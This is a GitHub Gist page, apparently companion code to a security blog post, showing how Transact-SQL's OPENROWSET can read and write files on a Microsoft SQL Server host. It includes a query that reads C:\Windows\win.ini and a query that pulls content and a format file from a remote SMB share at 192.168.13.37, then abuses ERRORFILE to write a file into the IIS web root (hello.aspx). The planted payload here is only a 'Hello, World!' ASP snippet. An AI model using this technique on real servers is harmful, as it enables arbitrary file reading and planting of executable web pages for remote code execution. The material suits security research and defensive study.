Last active
December 5, 2018 06:53
-
-
Save mwulftange/c26d58bf52639b6969cc to your computer and use it in GitHub Desktop.
Reading/Writing files with Transact-SQL's OPENROWSET (http://codewhitesec.blogspot.de/2015/06/reading-and-writing-files-with-mssql-openrowset.html)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT HAS_PERMS_BY_NAME(null, null, 'ADMINISTER BULK OPERATIONS') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
9.0 | |
1 | |
1 SQLCHAR 0 1 ">" 1 BulkColumn "" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%="Hello, World!"%> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0"?> | |
<BCPFORMAT xmlns="http://schemas.microsoft.com/sqlserver/2004/bulkload/format" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> | |
<RECORD> | |
<FIELD ID="1" xsi:type="CharFixed" LENGTH="1234567890"/> | |
</RECORD> | |
<ROW> | |
<COLUMN SOURCE="1" NAME="BulkColumn" xsi:type="SQLVARYBIN" LENGTH="1234567890"/> | |
</ROW> | |
</BCPFORMAT> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT BulkColumn | |
FROM OPENROWSET( | |
BULK 'C:\Windows\win.ini', | |
SINGLE_CLOB | |
) t |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT BulkColumn | |
FROM OPENROWSET( | |
BULK '\\192.168.13.37\share\input.txt', | |
FORMATFILE='\\192.168.13.37\share\input.fmt', | |
CODEPAGE='RAW', | |
ERRORFILE='C:\Inetpub\wwwroot\hello.aspx' | |
) t |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment